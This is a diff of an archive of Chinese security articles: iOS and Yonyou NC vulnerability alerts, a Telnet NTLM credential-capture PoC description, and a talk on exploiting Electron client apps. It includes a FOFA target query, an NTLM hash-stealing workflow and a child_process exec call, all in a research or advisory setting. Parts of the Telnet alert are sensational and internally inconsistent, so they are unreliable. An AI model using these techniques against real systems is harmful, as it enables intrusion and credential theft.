<table><tbody><tr><td><strong><font><font><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:"mp-quote", -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">风险因素</span></font></font></strong></td><td><strong><font><font><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:"mp-quote", -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">细节</span></font></font></strong></td></tr><tr><td><font><font><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:"mp-quote", -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">受影响的产品</span></font></font></td><td><font><font><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:"mp-quote", -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">iOS(运行 iOS/iPadOS 18.3 之前版本的 iPhone 和 iPad)</span></font></font></td></tr><tr><td><font><font><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:"mp-quote", -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">影响</span></font></font></td><td><font><font><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:"mp-quote", -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">拒绝服务(DoS)</span></font></font></td></tr><tr><td><font><font><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:"mp-quote", -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">漏洞利用前提条件</span></font></font></td><td><font><font><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:"mp-quote", -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">任何沙盒应用程序或小部件扩展都可以触发此漏洞;无需特殊权限</span></font></font></td></tr><tr><td><font><font><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:"mp-quote", -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">CVSS 3.1 评分</span></font></font></td><td><font><font><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:"mp-quote", -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">高</span></font></font></td></tr></tbody></table>## 缓解措施
|
||||
##
|
||||
|
||||
苹果通过为敏感的 Darwin 通知实施新的授权系统,解决了 iOS 18.3 中的漏洞。研究人员获得了 17,500 美元的漏洞赏金。
|
||||
|
||||
具体来说,系统通知现在需要前缀“com.apple.private.restrict-post”,并且发送进程必须拥有“com.apple.private.darwin-notification.restrict-post.<notification>”形式的受限权限。
|
||||
|
||||
这并不是苹果系统中第一个与达尔文相关的漏洞。此前,卡巴斯基实验室发现了一个“达尔文核弹”漏洞,该漏洞可能允许远程攻击者通过特制的网络数据包发起拒绝服务攻击。
|
||||
|
||||
强烈建议所有 iPhone 用户立即更新至 iOS 18.3 或更高版本。运行早期版本的设备仍然容易受到此攻击,该攻击可能通过 App Store 或其他分发渠道中看似无害的应用程序或小部件进行部署。该案例凸显了移动操作系统中持续存在的安全挑战,即使是简单且被忽视的遗留 API,如果保护不当,也可能带来重大风险。
|
||||
|
||||
来源:
|
||||
https://cybersecuritynews.com/ios-critical-vulnerability-brick-iphones/
|
||||
|
||||
|
||||
|
||||
END
|
||||
|
||||
|
||||
阅读推荐
|
||||
|
||||
|
||||
[【安全圈】某机关工作人员用扫描APP加网盘致127份涉密文件遭泄露!!](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652069446&idx=1&sn=cdb886ad48aa07b1291c56c13b3a291e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】微软Telnet服务器被曝0-Click漏洞:无密码即可控制系统](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652069446&idx=2&sn=b093a02905ad8999ac398713a11bd267&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】网安公司CEO因非法控制医院电脑被逮捕](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652069446&idx=3&sn=71724284d0e78496375f89e77e21a8b6&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
**安全圈**
|
||||
|
||||

|
||||
|
||||
|
||||
←扫码关注我们
|
||||
|
||||
**网罗圈内热点 专注网络安全**
|
||||
|
||||
**实时资讯一手掌握!**
|
||||
|
||||
|
||||

|
||||
|
||||
**好看你就分享 有用就点个赞**
|
||||
|
||||
**支持「****安全圈」就点个三连吧!**
|
||||
|
||||

|
||||
|
||||
|
@ -1,5 +1,5 @@
|
||||
# 出洞如此简单!一次轻松的小程序漏洞挖掘
|
||||
原创 zkaq-zzzxby 掌控安全EDU 2025-05-07 04:01
|
||||
sec0nd安全 2025-05-07 04:30
|
||||
|
||||
|
||||
|
||||
|
112
doc/2025-05/用友NC jiuqisingleservlet 反序列化RCE.md
Normal file
112
doc/2025-05/用友NC jiuqisingleservlet 反序列化RCE.md
Normal file
@ -0,0 +1,112 @@
|
||||
# 用友NC jiuqisingleservlet 反序列化RCE
|
||||
Superhero Nday Poc 2025-05-07 02:07
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
内容仅用于学习交流自查使用,由于传播、利用本公众号所提供的
|
||||
POC
|
||||
信息及
|
||||
POC对应脚本
|
||||
而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号Nday Poc及作者不为此承担任何责任,一旦造成后果请自行承担!
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
**漏洞概述**
|
||||
|
||||
|
||||
用友NC
|
||||
jiuqisingleservlet 接口处存在反序列化漏洞,未经身份验证的远程攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。
|
||||
**02******
|
||||
|
||||
**搜索引擎**
|
||||
|
||||
|
||||
FOFA:
|
||||
```
|
||||
app="用友-UFIDA-NC"
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
**03******
|
||||
|
||||
**漏洞复现**
|
||||
|
||||

|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**自查工具**
|
||||
|
||||
|
||||
nuclei
|
||||
|
||||

|
||||
|
||||
afrog
|
||||
|
||||

|
||||
|
||||
xray
|
||||
|
||||

|
||||
|
||||
|
||||
**05******
|
||||
|
||||
**修复建议**
|
||||
|
||||
|
||||
1、关闭互联网暴露面或接口设置访问权限
|
||||
|
||||
2、
|
||||
升级至安全版本
|
||||
|
||||
|
||||
**06******
|
||||
|
||||
**内部圈子介绍**
|
||||
|
||||
|
||||
【Nday漏洞实战圈】🛠️
|
||||
|
||||
专注公开1day/Nday漏洞复现
|
||||
· 工具链适配支持
|
||||
|
||||
✧━━━━━━━━━━━━━━━━✧
|
||||
|
||||
🔍 资源内容
|
||||
|
||||
▫️ 整合全网公开
|
||||
1day/Nday
|
||||
漏洞POC详情
|
||||
|
||||
▫️ 适配Xray/Afrog/Nuclei检测脚本
|
||||
|
||||
▫️ 支持内置与自定义POC目录混合扫描
|
||||
|
||||
🔄 更新计划
|
||||
|
||||
▫️ 每周新增7-10个实用POC(来源公开平台)
|
||||
|
||||
▫️ 所有脚本经过基础测试,降低调试成本
|
||||
|
||||
🎯 适用场景
|
||||
|
||||
▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗
|
||||
▫️ 安全运维
|
||||
|
||||
✧━━━━━━━━━━━━━━━━✧
|
||||
|
||||
⚠️ 声明:仅限合法授权测试,严禁违规使用!
|
||||
|
||||

|
||||
|
||||
|
114
doc/2025-05/用友NC ncmsgservlet 反序列化RCE.md
Normal file
114
doc/2025-05/用友NC ncmsgservlet 反序列化RCE.md
Normal file
@ -0,0 +1,114 @@
|
||||
# 用友NC ncmsgservlet 反序列化RCE
|
||||
Superhero Nday Poc 2025-05-07 02:43
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
内容仅用于学习交流自查使用,由于传播、利用本公众号所提供的
|
||||
POC
|
||||
信息及
|
||||
POC对应脚本
|
||||
而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号Nday Poc及作者不为此承担任何责任,一旦造成后果请自行承担!
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
**漏洞概述**
|
||||
|
||||
|
||||
用友NC
|
||||
|
||||
ncmsgservlet
|
||||
接口处存在反序列化漏洞,未经身份验证的远程攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。
|
||||
**02******
|
||||
|
||||
**搜索引擎**
|
||||
|
||||
|
||||
FOFA:
|
||||
```
|
||||
app="用友-UFIDA-NC"
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
**03******
|
||||
|
||||
**漏洞复现**
|
||||
|
||||

|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**自查工具**
|
||||
|
||||
|
||||
nuclei
|
||||
|
||||

|
||||
|
||||
afrog
|
||||
|
||||

|
||||
|
||||
xray
|
||||
|
||||

|
||||
|
||||
|
||||
**05******
|
||||
|
||||
**修复建议**
|
||||
|
||||
|
||||
1、关闭互联网暴露面或接口设置访问权限
|
||||
|
||||
2、
|
||||
升级至安全版本
|
||||
|
||||
|
||||
**06******
|
||||
|
||||
**内部圈子介绍**
|
||||
|
||||
|
||||
【Nday漏洞实战圈】🛠️
|
||||
|
||||
专注公开1day/Nday漏洞复现
|
||||
· 工具链适配支持
|
||||
|
||||
✧━━━━━━━━━━━━━━━━✧
|
||||
|
||||
🔍 资源内容
|
||||
|
||||
▫️ 整合全网公开
|
||||
1day/Nday
|
||||
漏洞POC详情
|
||||
|
||||
▫️ 适配Xray/Afrog/Nuclei检测脚本
|
||||
|
||||
▫️ 支持内置与自定义POC目录混合扫描
|
||||
|
||||
🔄 更新计划
|
||||
|
||||
▫️ 每周新增7-10个实用POC(来源公开平台)
|
||||
|
||||
▫️ 所有脚本经过基础测试,降低调试成本
|
||||
|
||||
🎯 适用场景
|
||||
|
||||
▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗
|
||||
▫️ 安全运维
|
||||
|
||||
✧━━━━━━━━━━━━━━━━✧
|
||||
|
||||
⚠️ 声明:仅限合法授权测试,严禁违规使用!
|
||||
|
||||

|
||||
|
||||
|
209
doc/2025-05/紧急预警!微软Telnet惊现零点击核弹级漏洞,旧系统用户速查!.md
Normal file
209
doc/2025-05/紧急预警!微软Telnet惊现零点击核弹级漏洞,旧系统用户速查!.md
Normal file
@ -0,0 +1,209 @@
|
||||
# 紧急预警!微软Telnet惊现"零点击"核弹级漏洞,旧系统用户速查!
|
||||
原创 赵小龙 红岸基地网络安全 2025-05-07 07:14
|
||||
|
||||
### 一、漏洞直击:30秒看懂致命威胁
|
||||
|
||||

|
||||
|
||||
****
|
||||
**漏洞代号**
|
||||
:MS-TNAP身份验证倒置
|
||||
|
||||
**杀伤力**
|
||||
:💣 0Click攻击(无需用户交互)
|
||||
|
||||
**攻击效果**
|
||||
:黑客可完全绕过密码验证,直取系统管理员权限,如同用万能钥匙打开所有保险库!
|
||||
|
||||
**技术深剖**
|
||||
:
|
||||
|
||||
漏洞根源在于NTLM认证过程的"颠倒乾坤"——服务器竟反向向客户端自证身份!攻击者通过构造特殊数据包(工具telnetbypass.exe已暗流涌动),利用
|
||||
SECPKG_CRED_BOTH
|
||||
标志与
|
||||
ASC_REQ_DELEGATE
|
||||
的组合漏洞,让系统上演现实版"指鹿为马"。
|
||||
|
||||
### 二、高危红区:这些系统正在"滴血"
|
||||
|
||||
✅
|
||||
**受影响系统**
|
||||
:
|
||||
|
||||
▸ Windows 2000
|
||||
|
||||
▸ Windows Server 2003/2008/R2
|
||||
|
||||
▸ 所有启用Telnet Server的旧版系统
|
||||
|
||||
🚨
|
||||
**残酷现实**
|
||||
:
|
||||
|
||||
尽管微软已停止对这些"古董系统"的技术支持,但全球仍有
|
||||
**23%**
|
||||
的企业因老旧设备依赖被迫使用(数据来源:Cybersecurity Ventures)。工业控制系统、科研设备、银行ATM机成重灾区!
|
||||
### 三、生死时速:4步紧急止血方案
|
||||
|
||||
1️⃣
|
||||
**立即断网**
|
||||
|
||||
Win+R
|
||||
输入
|
||||
services.msc
|
||||
→停止并禁用"Telnet Server"服务,操作如同按下核弹发射器的紧急制动钮。
|
||||
|
||||
2️⃣
|
||||
**协议革命**
|
||||
|
||||
连夜部署SSH协议替代Telnet,推荐使用免费开源的OpenSSH,为远程管理套上防弹衣。
|
||||
|
||||
3️⃣
|
||||
**网络隔离**
|
||||
|
||||
在企业防火墙设置"白名单封锁线":仅允许特定IP通过5870端口访问,非授权流量一律格杀勿论!
|
||||
|
||||
4️⃣
|
||||
**行为监控**
|
||||
|
||||
启用EDR系统设置"三重复核机制":
|
||||
- 实时监测异常NTLM认证请求
|
||||
|
||||
- 捕获
|
||||
AcceptSecurityContext()
|
||||
函数调用
|
||||
|
||||
- 拦截含
|
||||
ASC_REQ_DELEGATE
|
||||
标志流量
|
||||
|
||||
## 四、Microsoft Telnet 客户端 MS-TNAP 服务端身份验证令牌漏洞利用(PoC)
|
||||
### 概述
|
||||
|
||||
该 PoC 演示了 Microsoft Telnet 客户端在 MS-TNAP 身份验证协议中的一个安全漏洞。当客户端通过
|
||||
telnet.exe
|
||||
或
|
||||
telnet://
|
||||
URI 超链接连接到一个恶意的 Telnet 服务器,并检测到 MS-TNAP 扩展时,服务器可以从客户端提取 NTLM 身份验证数据。
|
||||
|
||||
如果攻击者主机位于受信任的网络区域(如内网或信任站点),客户端将
|
||||
**自动**
|
||||
发送凭证而
|
||||
**无需提示**
|
||||
,使其非常适合红队场景下用于:
|
||||
- NTLM 中继攻击
|
||||
|
||||
- 离线密码破解(NetNTLMv1/v2 哈希)
|
||||
|
||||
### 漏洞细节
|
||||
|
||||
Microsoft Telnet 客户端在连接到不信任区域(如互联网区域)的服务器时,会提示用户确认:
|
||||
> “您即将向 Internet 区域中的远程计算机发送密码信息,这可能不安全。是否仍要发送?(y/n)”
|
||||
|
||||
|
||||
但如果目标服务器位于受信任区域(如 Intranet 或信任站点)中,或者系统策略被配置为静默身份验证,那么
|
||||
**将不会显示此提示**
|
||||
,凭据会被直接发送给远程服务器。
|
||||
|
||||
攻击者可通过伪造的
|
||||
telnet://
|
||||
超链接诱骗受害者点击,从而在没有用户察觉的情况下窃取其凭据。
|
||||
### 安全区域行为
|
||||
|
||||
Windows 通过 URL 安全区域机制判断 Telnet 连接是否应当自动发送凭据:
|
||||
|
||||
<table><thead><tr style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><th style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span cid="n254" mdtype="table_cell" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span md-inline="plain" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span leaf="">安全区域</span></span></span></th><th style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span cid="n255" mdtype="table_cell" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span md-inline="plain" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span leaf="">行为</span></span></span></th></tr></thead><tbody><tr style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><td style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span cid="n257" mdtype="table_cell" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span md-inline="plain" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span leaf="">Internet 区域</span></span></span></td><td style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span cid="n258" mdtype="table_cell" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span md-inline="plain" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span leaf="">提示用户是否发送凭据</span></span></span></td></tr><tr style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><td style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span cid="n260" mdtype="table_cell" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span md-inline="plain" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span leaf="">Intranet 区域</span></span></span></td><td style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span cid="n261" mdtype="table_cell" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span md-inline="plain" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span leaf="">默认</span></span><span md-inline="strong" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><strong style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span md-inline="plain" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span leaf="">静默发送</span></span></strong></span><span md-inline="plain" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span leaf="">凭据</span></span></span></td></tr><tr style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><td style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span cid="n263" mdtype="table_cell" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span md-inline="plain" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span leaf="">信任的站点</span></span></span></td><td style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span cid="n264" mdtype="table_cell" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span md-inline="plain" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span leaf="">默认</span></span><span md-inline="strong" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><strong style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span md-inline="plain" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span leaf="">静默发送</span></span></strong></span><span md-inline="plain" style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><span leaf="">凭据</span></span></span></td></tr></tbody></table>> ⚠️
|
||||
**安全隐患:**
|
||||
许多企业在添加受信任站点时不加协议前缀(如直接添加
|
||||
192.168.1.1
|
||||
而非
|
||||
http://192.168.1.1
|
||||
),会导致该地址所有协议(HTTP/HTTPS/Telnet 等)都被视为可信,间接暴露在攻击面前。
|
||||
|
||||
### 受影响系统
|
||||
|
||||
几乎
|
||||
**所有安装了 Microsoft Telnet 客户端的 Windows 系统**
|
||||
均受到影响:
|
||||
- Windows NT 4.0 ~ Windows 11
|
||||
|
||||
- Windows Server 2003 ~ Server 2025
|
||||
|
||||
### 使用方法
|
||||
#### 编译
|
||||
|
||||
在 Visual Studio 的开发者命令提示符中运行:
|
||||
```
|
||||
```
|
||||
|
||||
或使用
|
||||
nmake
|
||||
:
|
||||
```
|
||||
```
|
||||
#### 命令行参数
|
||||
```
|
||||
```
|
||||
- -d
|
||||
: 设置域名(默认:WIN2K3)
|
||||
|
||||
- -s
|
||||
: 设置服务器名称(默认:WIN2K3)
|
||||
|
||||
- -c
|
||||
: 设置自定义 NTLM challenge(8 字节十六进制字符串)
|
||||
|
||||
- -o
|
||||
: 指定日志文件路径(默认:telnetclientpoc.log)
|
||||
|
||||
### 实际效果示例
|
||||
|
||||
运行 PoC 后:
|
||||
- 程序监听端口 23(Telnet 默认端口)
|
||||
|
||||
- 捕获并记录详细的 NTLM Type1/2/3 握手数据
|
||||
|
||||
- 自动提取 NetNTLMv2 和 NTLMv1 哈希值,保存至文件
|
||||
netntlmv2.hash
|
||||
和
|
||||
ntlmv1.hash
|
||||
|
||||
### 哈希格式示例(用于 Hashcat)
|
||||
```
|
||||
```
|
||||
### 安全建议
|
||||
1. **禁止使用 Telnet 客户端**
|
||||
(已过时且不安全)
|
||||
|
||||
1. **在“受信任站点”中指定完整协议前缀**
|
||||
,如
|
||||
http://192.168.1.1
|
||||
,避免默认信任所有协议
|
||||
|
||||
1. **使用防火墙或 IDS/IPS 系统监控 telnet:// URI 使用情况**
|
||||
|
||||
1. **加强用户培训**
|
||||
,避免点击未知来源的 telnet 链接
|
||||
|
||||
###
|
||||
### 五、曙光初现:安全界的黑科技驰援
|
||||
|
||||
多家顶级安全厂商已放出"临时疫苗":
|
||||
- **Palo Alto Networks**
|
||||
:更新IDPS特征库(特征码TELNET-0DAY-2024)
|
||||
|
||||
- **CrowdStrike**
|
||||
:发布专用检测规则(Falcon规则集v9.81)
|
||||
|
||||
- **深信服**
|
||||
:紧急上线虚拟补丁防护模块
|
||||
|
||||
当你在博物馆看到Windows 2000的展柜时,不该在机房发现它的心跳!此次漏洞犹如一记惊雷,警示所有企业:数字时代的生存法则,从来都是"不进化,即灭亡"。立即行动,莫让企业成为黑客的自动提款机!
|
||||
|
||||
|
||||
|
||||
你的企业还存在"古董系统"吗?欢迎留言说出你的迁移难题,网络安全专家在线支招!
|
||||
|
||||
(本文部分技术细节已做简化处理,如需完整技术通报请后台留言"漏洞详情"获取PDF文档)+POC检测github路径
|
||||
|
||||
|
410
doc/2025-05/被忽视的暗面:客户端应用漏洞挖掘之旅.md
Normal file
410
doc/2025-05/被忽视的暗面:客户端应用漏洞挖掘之旅.md
Normal file
@ -0,0 +1,410 @@
|
||||
# 被忽视的暗面:客户端应用漏洞挖掘之旅
|
||||
嗨嗨安全 2025-05-07 04:32
|
||||
|
||||
# 被忽视的暗面:客户端应用漏洞挖掘之旅
|
||||
|
||||
key@中孚信息元亨实验室
|
||||
## 前言
|
||||
|
||||
在2023年12月15日,我有幸参加了由“字节跳动安全中心”举办的“安全范儿”沙龙活动。作为“中孚信息元亨实验室”的一员,我被邀请分享名为“被忽视的暗面:客户端应用漏洞挖掘之旅”的技术议题。
|
||||
|
||||
客户端应用漏洞是许多人在进行漏洞挖掘和安全测试时容易忽视的领域。随着技术的更迭和攻防手段的升级,客户端应用漏洞也逐渐出现在大众视野中(APT攻击、攻防赛事等等),在本次议题中,我们将重点关注PC侧的客户端应用程序,如即时通讯、远程服务、视频软件等应用,探索其中存在的漏洞和潜在的安全风险。
|
||||
|
||||

|
||||
## 漏洞案例
|
||||
|
||||
漏洞案例的分析主要分为两类,一是常规风险的介绍和了解,二是RCE漏洞的挖掘思路和手法。
|
||||
|
||||
**注意:以下漏洞案例均通过脱敏和细节上的处理。**
|
||||
### 常规风险篇
|
||||
|
||||
常规风险在这里我分为这几类:信息泄露、白利用、逻辑校验、缓冲区溢出。
|
||||
#### 信息泄漏
|
||||
|
||||
对于客户端的信息泄露,我一开始采用的方式就是基于IDA Strings进行敏感的字符串信息匹配,将HaE的规则转为Yara规则再通过FindCrypt3插件进行匹配。
|
||||
|
||||

|
||||
|
||||
实际效果没有那么好,仅有一些数据库的连接配置信息泄露,并且由于是基于IDA的也没有那么好的进行自动批量化发现。
|
||||
|
||||

|
||||
|
||||
我们可以借助Strings工具来快速的获取可执行文件的字符串内容,并通过正则或其他方式进行匹配。
|
||||
|
||||

|
||||
#### 白利用
|
||||
|
||||
白利用问题就老生常谈了,在红队的工作中也经常遇到,如DLL文件没有经过比对导致的劫持问题、带有签名的程序可以通过参数的方式执行任意命令。因此在这里就不过多赘述了。
|
||||
|
||||

|
||||
|
||||

|
||||
#### 逻辑校验
|
||||
|
||||
很多客户端程序在对用户信息进行获取的时候会通过内存的方式,来获取用户的编号,从而基于此进一步来获取用户的信息。然而这种方式并不是完全可信的,我们可以通过CE来对内存进行修改,从而导致越权漏洞的产生。
|
||||
|
||||

|
||||
|
||||
这类问题很经典,在以往就有许多案例(wooyun-2015-0143395、wooyun-2014-048606),但现在仍然可以从一些主流的应用上发现到类似的安全问题。
|
||||
#### 缓冲区溢出
|
||||
|
||||
缓冲区溢出问题太多太多了,我们可以通过通过IDA插件VulFi定位脆弱点,很轻松的在一些客户端应用上找到堆、栈溢出问题。除此之外,也可以通过Boofuzz来对客户端应用开启的本地网络服务进行Fuzz,从而找到溢出问题。
|
||||
|
||||

|
||||
|
||||
除了本地网络服务以外,最经典的、利用最多的还是特定文件格式处理客户端,如常用的Word、Excel。我在实际挖掘的过程中找到了一些图片处理的客户端程序,它用于各种各样的图片处理,我们可以找一些比较不常见的图片格式,并且通过网盘资源找到一些样本文件,丢给GPT或IFFA来分析文件格式,并输出Pits脚本,通过Peach Fuzzer来进行Fuzz工作。
|
||||
|
||||

|
||||
### RCE篇
|
||||
|
||||
接着我们来到RCE篇,请注意这里的RCE并不是Pre Auth的,案例中提到的大多需要1 Click进行交互才能利用。但也不是绝对,如果一些客户端的网络服务端口是监听在0.0.0.0的,只要你与目标机器处于同一个网络,或该客户端是在服务器上使用的,也一样可以实现0 Click的效果。
|
||||
#### Web类客户端
|
||||
|
||||
Web类客户端,我的定义是基于HTML、CSS、JS等Web前端技术所构建的客户端应用程序,如Electron这类CEF(浏览器嵌入式)框架开发的客户端应用,以及基于渲染引擎(如Wke)所开发的客户端应用。
|
||||
##### 某IM客户端应用
|
||||
|
||||
如下图所示,是一个即时通讯客户端应用,我在群名称重命名时发现了一个反射XSS漏洞,根据其目录结构我知道它是一个基于Electron开发的程序。
|
||||
|
||||

|
||||
|
||||
在Electron框架下,如果开发者在渲染页面时配置nodeIntegration
|
||||
为true,则说明我们可以在前端中使用Nodejs的语法,这就导致我们可以直接在前端使用如下Nodejs代码执行命令:
|
||||
```
|
||||
require('child_process').exec(...);
|
||||
```
|
||||
|
||||
但是这个配置项在创建功能窗口时并没有开启:
|
||||
|
||||

|
||||
|
||||
所以,我们也就没办法通过XSS执行Nodejs的代码,但是根据当前的Electron的版本1.8.7去互联网检索,发现这个版本存在一个历史漏洞:CVE-2018-15685,而后进行相关验证,也无法成功。
|
||||
|
||||
但是我们在\resources\app\src\inject\preload.js文件中(这是预加载JS,也就表示这个文件在窗口创建后,页面创建前就执行了),发现了注册的全局变量:
|
||||
```
|
||||
window.ZxDesktop = ZxDesktop;
|
||||
```
|
||||
|
||||
所以我们可以直接去调用这个全局变量,从而去使用其内部的定义的一些功能:
|
||||
|
||||

|
||||
|
||||
该全局变量实际上导出了很多其他模块及对应方法:
|
||||
|
||||

|
||||
|
||||
我们跟进File模块,就可以发现存在一个open函数:
|
||||
|
||||

|
||||
|
||||
跟进代码和测试之后,发现它就是文件打开函数,在Console下去调用,成功打开计算器:
|
||||
|
||||

|
||||
|
||||
接着看导出函数列表的其他项,发现存在两个文件保存的方法:
|
||||
|
||||

|
||||
|
||||
而它们所指向的都是另外一个模块的方法:
|
||||
```
|
||||
const Download = require('../download_extra/download.render.js');
|
||||
```
|
||||
|
||||
